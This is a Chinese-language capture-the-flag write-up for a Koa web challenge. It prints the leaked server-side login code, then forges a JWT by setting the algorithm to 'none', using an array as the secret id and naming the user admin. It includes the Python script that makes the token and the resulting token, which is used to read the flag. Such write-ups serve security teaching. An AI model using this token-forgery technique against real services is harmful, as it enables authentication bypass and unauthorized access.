有注册登录,先注册一个账号然后登录进去


在登录页面的源代码发现

访问得到
- /**
- * 或许该用 koa-static 来处理静态文件
- * 路径该怎么配置?不管了先填个根目录XD
- */
-
- function login() {
- const username = $("#username").val();
- const password = $("#password").val();
- const token = sessionStorage.getItem("token");
- $.post("/api/login", {username, password, authorization:token})
- .done(function(data) {
- const {status} = data;
- if(status) {
- document.location = "/home";
- }
- })
- .fail(function(xhr, textStatus, errorThrown) {
- alert(xhr.responseJSON.message);
- });
- }
-
- function register() {
- const username = $("#username").val();
- const password = $("#password").val();
- $.post("/api/register", {username, password})
- .done(function(data) {
- const { token } = data;
- sessionStorage.setItem('token', token);
- document.location = "/login";
- })
- .fail(function(xhr, textStatus, errorThrown) {
- alert(xhr.responseJSON.message);
- });
- }
-
- function logout() {
- $.get('/api/logout').done(function(data) {
- const {status} = data;
- if(status) {
- document.location = '/login';
- }
- });
- }
-
- function getflag() {
- $.get('/api/flag').done(function(data) {
- const {flag} = data;
- $("#username").val(flag);
- }).fail(function(xhr, textStatus, errorThrown) {
- alert(xhr.responseJSON.message);
- });
- }
里面有个/api/flag,直接去访问

在上面的js代码中,可以看到采用了koa框架

访问/controllers/api.js
- const crypto = require('crypto');
- const fs = require('fs')
- const jwt = require('jsonwebtoken')
-
- const APIError = require('../rest').APIError;
-
- module.exports = {
- 'POST /api/register': async (ctx, next) => {
- const {username, password} = ctx.request.body;
-
- if(!username || username === 'admin'){
- throw new APIError('register error', 'wrong username');
- }
-
- if(global.secrets.length > 100000) {
- global.secrets = [];
- }
-
- const secret = crypto.randomBytes(18).toString('hex');
- const secretid = global.secrets.length;
- global.secrets.push(secret)
-
- const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
-
- ctx.rest({
- token: token
- });
-
- await next();
- },
-
- 'POST /api/login': async (ctx, next) => {
- const {username, password} = ctx.request.body;
-
- if(!username || !password) {
- throw new APIError('login error', 'username or password is necessary');
- }
-
- const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
-
- const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
-
- console.log(sid)
-
- if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
- throw new APIError('login error', 'no such secret id');
- }
-
- const secret = global.secrets[sid];
-
- const user = jwt.verify(token, secret, {algorithm: 'HS256'});
-
- const status = username === user.username && password === user.password;
-
- if(status) {
- ctx.session.username = username;
- }
-
- ctx.rest({
- status
- });
-
- await next();
- },
-
- 'GET /api/flag': async (ctx, next) => {
- if(ctx.session.username !== 'admin'){
- throw new APIError('permission error', 'permission denied');
- }
-
- const flag = fs.readFileSync('/flag').toString();
- ctx.rest({
- flag
- });
-
- await next();
- },
-
- 'GET /api/logout': async (ctx, next) => {
- ctx.session.username = null;
- ctx.rest({
- status: true
- })
- await next();
- }
- };
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
当用户名是admin的时候,可以拿到flag
而且在上面的代码中看到,有jwt
登录时抓包

把最下面这一段去JSON Web Tokens - jwt.io解密

能看到登录时的用户名和密码
HEADER中的alg就是加密方式,把它修改为none,就默认不加密,然后将payload里的username修改为admin即可
原因:签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。有些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+‘.’+
payload +‘.’)并将其提交给服务器
生成jwt
- import jwt
- token = jwt.encode(
- {
- "secretid": [],
- "username": "admin",
- "password": "123456",
- "iat": 1649380156
- },
- algorithm="none",key="").encode(encoding='utf-8')
-
- print(token)
得到
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTY0OTM4MDE1Nn0.

访问/api/flag,得到flag